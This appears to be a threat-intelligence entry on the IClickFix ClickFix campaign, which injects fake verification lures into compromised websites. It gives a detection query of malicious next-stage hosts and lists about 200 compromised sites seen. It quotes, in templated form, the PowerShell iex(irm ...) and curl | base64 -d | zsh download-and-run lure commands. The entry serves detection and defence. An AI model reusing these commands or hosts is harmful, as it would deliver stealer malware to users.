Known malicious kitcriticalphishing

IClickFix: ClickFix injections on compromised sites (Ethereum Sepolia loader and interseq[.]at overlay)

family: iclickfix-sepolia-2026-10

Script injected into compromised websites, wrapped as [].constructor.constructor(atob("...")). For Windows visitors it reads an encrypted stage from a smart contract on the Ethereum Sepolia test network (EtherHiding), decrypts and runs it; that stage loads a ClickFix lure from a host that the operator rotates every few days, which asks the visitor to paste and run a command. The contract carries the stage itself, so the match is on the injected loader and on the hosts the stage has used. The same name is used publicly for a second injector, loaded from interseq[.]at, that draws a fake CAPTCHA or Cloudflare-style verification overlay and picks the command by the visitor's operating system: Windows visitors are told to open the Run dialog (Win + R) and paste a PowerShell command (iex(irm '<host>/<campaign>/<id>' ...), for example from copiose[.]org); Mac visitors get curl -s $(echo "..." | base64 -d) | zsh, a disguised download of a shell script from escapeai[.]live, which is publicly labelled AMOS stealer. That injector also removes other malicious scripts injected into the same site, such as competing fake-verification injectors and cryptocurrency wallet drainers. Seen on small-business WordPress sites since mid-September 2026, and behind a fake 'Сloudflare' page at cloudflare[.]vc. No legitimate verification step asks visitors to run a command.

Anchors

YARA ruleIClickFix_Sepolia_EtherHiding_Loader
SMQL queryrun
contacted_host:zvh4.com OR contacted_host:zvh3.com OR contacted_host:xaz2.com OR contacted_host:qaz0.com OR contacted_host:qaz6.com OR contacted_host:qaz4.com OR contacted_host:fol9.com OR contacted_host:ajnfqs.com OR contacted_host:vivaldinotabot.com OR contacted_host:mamglaqwek.com OR contacted_host:interseq.at OR contacted_host:*.interseq.at

Provenance

Added: 2026-10-07 15:17
One hunt for the family. YARA anchor: the wrapped loader (its strings are matched inside the base64 blob). Search anchor: pages that contacted one of the next-stage hosts set through the contract since 2026-07-31: zvh4[.]com, zvh3[.]com, xaz2[.]com, qaz0[.]com, qaz6[.]com, qaz4[.]com, fol9[.]com, ajnfqs[.]com, vivaldinotabot[.]com, mamglaqwek[.]com. Contract seen: 0x0321C73150543FAa9D016c9c46Abf293Eb6839e4 (Ethereum Sepolia). The loader runs only for Windows visitors, so an infected site can look normal in a capture. Second search anchor: pages that contacted interseq[.]at, the overlay injector's script and tracking host; it also matches infected sites that loaded the script without showing the overlay. The two injectors share the public IClickFix name but not their code, and so far not their sites; the YARA anchor covers only the Sepolia loader. Many interseq[.]at sites also carry a separate blockchain loader from another family, so expect them to appear in other hunts too.

Sightings (200)

HostScanScriptMatchWhen
mepi.com.sa3fa3c3e8…—query2026-10-07 15:48
legendcup.net7483544c…—query2026-10-07 15:48
sje.ie113ee375…—query2026-10-07 15:48
zetaclinic.it6e24e3ab…—query2026-10-07 15:48
obaidfashion.com292c0578…—query2026-10-07 15:48
247productions.nld54cfa19…—query2026-10-07 15:48
pmetal.cle81095b7…—query2026-10-07 15:48
firstcallkuwait.com18888b6c…—query2026-10-07 15:48
betek.la703cba56…—query2026-10-07 15:48
celine-gronek.fr60909419…—query2026-10-07 15:48
theficobooster.com017b752f…—query2026-10-07 15:48
arrebolcap.com157b78c7…—query2026-10-07 15:48
astuces-deco.pro41fe925d…—query2026-10-07 15:48
vanderbilt-park.com7e33ebe2…—query2026-10-07 15:48
cloudflare.vc8a2caf5b…—query2026-10-07 15:48
diabetescareth.com28812a0f…—query2026-10-07 15:48
solarcameratrailer.com8e0c38e6…—query2026-10-07 15:48
solarcapricornio.com.br429f6353…—query2026-10-07 15:48
alnahreengroup.com44cdc9a4…—query2026-10-07 15:48
pacharagems.com0ca60b62…—query2026-10-07 15:48
condominiojavieracarrera.cla4a304ea…—query2026-10-07 15:48
americandreamlost.com7a4aadbf…—query2026-10-07 15:48
mepi.com.sa474be3e3…—query2026-10-07 15:48
circaire.com4e36e012…—query2026-10-07 15:48
globalelite.groupa1a1b143…—query2026-10-07 15:48
harapouya.ir4af84455…—query2026-10-07 15:48
kwokone.com80d8c27c…—query2026-10-07 15:48
lmohphotography.com7246fc5e…—query2026-10-07 15:48
doganoksijen.com9b635933…—query2026-10-07 15:48
toolsinformer.comef7ad2bc…—query2026-10-07 15:48
depannage-rideaux-metalliques-91.comc685e4d6…—query2026-10-07 15:48
americandreamlost.com4c169094…—query2026-10-07 15:48
americandreamlost.com2c1a021f…—query2026-10-07 15:48
vialignum.comc1f3d96b…—query2026-10-07 15:48
mr-ansarian.ird8b645e7…—query2026-10-07 15:48
medmark.sab3dcaa07…—query2026-10-07 15:48
lexperts-comptables.com1f82bdc7…—query2026-10-07 15:48
vdsverhuur.be9fa2e4ff…—query2026-10-07 15:22
logistica.business1b18226c…—query2026-10-07 15:22
ficofacil.com11737216…—query2026-10-07 15:22
northhillsingers.com0fd4bf5e…—query2026-10-07 15:22
renamueller-autorin.dee54de853…—query2026-10-07 15:22
belowtheline.finance8abc58d6…—query2026-10-07 15:22
talentclinics.com7c3e85e4…—query2026-10-07 15:22
kamb-fenster.de15808b21…—query2026-10-07 15:22
360bayern.def2f15398…—query2026-10-07 15:22
twopintplc.com3ea81dac…—query2026-10-07 15:22
pacifictowers.com9db64e4f…—query2026-10-07 15:22
cilliersaviation.com712e0367…—query2026-10-07 15:22
veprivletech.cza6a61297…—query2026-10-07 15:22
sethgillihan.com63072c73…—query2026-10-07 15:22
dpfk.com6acb9005…—query2026-10-07 15:22
nygrenconsulting.com658ebee7…—query2026-10-07 15:22
brittner.net8999b948…—query2026-10-07 15:22
lebenslaudatio.de747f2e51…—query2026-10-07 15:22
carefield-zorg.nl8267bfa1…—query2026-10-07 15:22
wackytronic.dece3dab4b…—query2026-10-07 15:22
rijschoolpegasus.nlb6e69c60…—query2026-10-07 15:22
dopomoeys.comfd4c7e03…—query2026-10-07 15:22
romancingthebean.com8877664d…—query2026-10-07 15:22
nuvionhomes.comc6cff2ff…—query2026-10-07 15:22
pal-uk.com84ea81f2…—query2026-10-07 15:22
cinephobiareleasing.com55eb81c7…—query2026-10-07 15:22
foerderverein-mineralfreibad-hoefen.deaa79cdd9…—query2026-10-07 15:22
magenta-trade.eu26b8387e…—query2026-10-07 15:22
24telectrical.co.uka78fce78…—query2026-10-07 15:22
gallowaygrillwarwick.comdca485da…—query2026-10-07 15:22
muziekvereniging-excelsior.nl36ee10df…—query2026-10-07 15:22
lashgoleor.comc5344309…—query2026-10-07 15:22
youhityourgoal.com822900b3…—query2026-10-07 15:22
maasleather.com10831f5c…—query2026-10-07 15:22
ocmedicare.com75873838…—query2026-10-07 15:22
cne.parisd33579a2…—query2026-10-07 15:22
cgmcareerpath.com201d94e0…—query2026-10-07 15:22
nuzic.orga6c4f4f9…—query2026-10-07 15:22
flybee.coc796208e…—query2026-10-07 15:22
chatgptdavid.come6f234df…—query2026-10-07 15:22
moringa-tulear.mg94b12aa6…—query2026-10-07 15:22
celler-spiesser.deb53aeb26…—query2026-10-07 15:22
studio-d.archi0819236e…—query2026-10-07 15:22
sraak.nl46d12191…—query2026-10-07 15:22
kronebo.dkb590f799…—query2026-10-07 15:22
navatenami-pr.com65eabf13…—query2026-10-07 15:22
basi.se38ea7e02…—query2026-10-07 15:22
livepismobeach.coma72e65ee…—query2026-10-07 15:22
knoxvol.comac3fdf61…—query2026-10-07 15:22
iaitae.com56b67f90…—query2026-10-07 15:22
warmilitaria.com.br2088c779…—query2026-10-07 15:22
prophysis-sr.de47ea00c4…—query2026-10-07 15:22
uptime.com.br87c1ce77…—query2026-10-07 15:22
hgpdesign.nlb9793656…—query2026-10-07 15:22
religija.lt9d1eb6c6…—query2026-10-07 15:22
midwestfreefall.com9b900bb9…—query2026-10-07 15:22
esrataskinadiyaman.com8529e701…—query2026-10-07 15:22
dytatek.com1cd6162d…—query2026-10-07 15:22
shop.use-domer-fotografie.debc8d6d1a…—query2026-10-07 15:22
paystubsetc.comcc2e92b7…—query2026-10-07 15:22
discidiumrecords.comfa2bb6da…—query2026-10-07 15:22
simenyi.hua3949f93…—query2026-10-07 15:22
nectarclinic.com38ce9afe…—query2026-10-07 15:22
mifishpole.com11d6264d…—query2026-10-07 15:22
naturgeeks.com1c27d8a1…—query2026-10-07 15:22
dentalmora.com44f18171…—query2026-10-07 15:22
pierre-mainard-editions.com832a4c2d…—query2026-10-07 15:22
osmeuspes.pt3fe765f6…—query2026-10-07 15:22
paulusgemeinde-raunheim.deb826408d…—query2026-10-07 15:22
taotui.cn6316875e…—query2026-10-07 15:22
carewellphcy.com377a7a1c…—query2026-10-07 15:22
locchialaio.com2db50610…—query2026-10-07 15:22
conceptalk.comd69e2d78…—query2026-10-07 15:22
dccars.bead94e4a0…—query2026-10-07 15:22
hallettsvilleculturaleventcenter.orgdc323426…—query2026-10-07 15:22
dawless.uk25e7cc23…—query2026-10-07 15:22
kremo.atc2412c21…—query2026-10-07 15:22
hlxmgl.com6e26531d…—query2026-10-07 15:22
apdisasterrelief.com539e8381…—query2026-10-07 15:22
agilecircle.dea979328d…—query2026-10-07 15:22
parivrajaka.in1ae126a2…—query2026-10-07 15:22
sideeffect.events039fe2f3…—query2026-10-07 15:22
ortho-delfzijl.nl7f173b54…—query2026-10-07 15:22
dermatiteatopica.it8ca171d1…—query2026-10-07 15:22
lerecept.frd4c731b4…—query2026-10-07 15:22
bopp-folie.ded4babd48…—query2026-10-07 15:22
soundtrk.com2263e1bf…—query2026-10-07 15:22
fruitcity.africa878c8d76…—query2026-10-07 15:22
counselingfc.combe9b30e1…—query2026-10-07 15:22
wikiverification.come598e805…—query2026-10-07 15:22
tc-donauwoerth.de265472d3…—query2026-10-07 15:22
wandelphase.de07a560c9…—query2026-10-07 15:22
etta-textservice.dea95af3c9…—query2026-10-07 15:22
conectago.netd3087aaa…—query2026-10-07 15:22
realestatethedeal.com70b7aea7…—query2026-10-07 15:22
strenixcaspian.com8bba8738…—query2026-10-07 15:22
sandyapron.coma0ce7b08…—query2026-10-07 15:22
ccelarcangel.com2870f80d…—query2026-10-07 15:22
drumfluence.com2f04a586…—query2026-10-07 15:22
julianzietlow.def59e2ae3…—query2026-10-07 15:22
ufrveterans.comc1342a18…—query2026-10-07 15:22
galiciacosmeticos.es313fc274…—query2026-10-07 15:22
loginfa.ir9828aea9…—query2026-10-07 15:22
hkgnclub.com3527dbfa…—query2026-10-07 15:22
magnoliabrandstudio.com772c853e…—query2026-10-07 15:22
bonas.nlcce8afb3…—query2026-10-07 15:22
bloomoose.de3605211a…—query2026-10-07 15:22
longthanhdoor.com36b85cd8…—query2026-10-07 15:22
remhungyen.comd8aeff03…—query2026-10-07 15:22
thegrimeguys.com9d4b9e89…—query2026-10-07 15:22
konshenglass.com628369d8…—query2026-10-07 15:22
linowshahr.comabd11f94…—query2026-10-07 15:22
necgroupbd.com25473461…—query2026-10-07 15:22
zahnschirm.dea98f9a2e…—query2026-10-07 15:22
widecalfboots4u.comcd191579…—query2026-10-07 15:22
ddverp.com4c47373b…—query2026-10-07 15:22
ctsignworks.com58f38cb8…—query2026-10-07 15:22
envisagestudio.com.auba29e879…—query2026-10-07 15:22
sprzataniegrobow.krakow.pl1021c039…—query2026-10-07 15:22
albatrosse.com9acaec98…—query2026-10-07 15:22
cristouch.comac1d886f…—query2026-10-07 15:22
zeitnahsurvey.com6a8432f7…—query2026-10-07 15:22
diadentclinic.com83447e04…—query2026-10-07 15:22
bruma-stb.de9ad8d801…—query2026-10-07 15:22
phblood.com07e31f5f…—query2026-10-07 15:22
chocolateandcream.com4e25770c…—query2026-10-07 15:22
azpromotionsllc.comf8e87c25…—query2026-10-07 15:22
sierracharlieaviation.coma16523dd…—query2026-10-07 15:22
gadgy.co.uk0aba3555…—query2026-10-07 15:22
damynghecongquyen.com917b6280…—query2026-10-07 15:22
chateauneuf-du-faou.frb35cf629…—query2026-10-07 15:22
bmst-greiderer.at80a3d1fd…—query2026-10-07 15:22
betiwin168.com9d62d411…—query2026-10-07 15:22
goatcheese.med3aff117…—query2026-10-07 15:22
mosaic-haven.comf553cdd9…—query2026-10-07 15:22
cakedame.com800e4d62…—query2026-10-07 15:22
tabbytownusa.org8ba5e6e3…—query2026-10-07 15:22
popstarperformers.co.uk7e062335…—query2026-10-07 15:22
kdbuildersbhutan.com4e6de185…—query2026-10-07 15:22
foodyano.comc8b54e29…—query2026-10-07 15:22
afb-partners.com6f7c7124…—query2026-10-07 15:22
signsexpressmedia.com6f5a7e59…—query2026-10-07 15:22
mensvitalityaz.wpenginepowered.com703e1b0a…—query2026-10-07 15:22
creativedezigns.ca0e033bdd…—query2026-10-07 15:22
paszportenergetyczny.com40e3dcf4…—query2026-10-07 15:22
csdp.cz2b00fb3c…—query2026-10-07 15:22
simplenutrition.com.au8d10c302…—query2026-10-07 15:22
pcomahue.com.ar0e511f7e…—query2026-10-07 15:22
eurekalekedestelos.grb9b5a490…—query2026-10-07 15:22
my-coatofmanycolours.de428cbd89…—query2026-10-07 15:22
biergmaer.storebb063365…—query2026-10-07 15:22
tfbworkwear.com6ed221fe…—query2026-10-07 15:22
elifhavuz.comaabe0fa7…—query2026-10-07 15:22
gbsciences.com996e8d56…—query2026-10-07 15:22
story-interiors.com3e5360f9…—query2026-10-07 15:22
bflickphotography.comf1847586…—query2026-10-07 15:22
nguyencanhkhanh.com9c982918…—query2026-10-07 15:22
kingdomsgallerytour.com66fdd017…—query2026-10-07 15:22
fp-e.pl5b63acc4…—query2026-10-07 15:22
gp-wrightconstruction.comaf3b5f63…—query2026-10-07 15:22
womenindev.com5f52b666…—query2026-10-07 15:22
medicaladvocates.ieb9244146…—query2026-10-07 15:22
andreykharkov.comc8beebbb…—query2026-10-07 15:22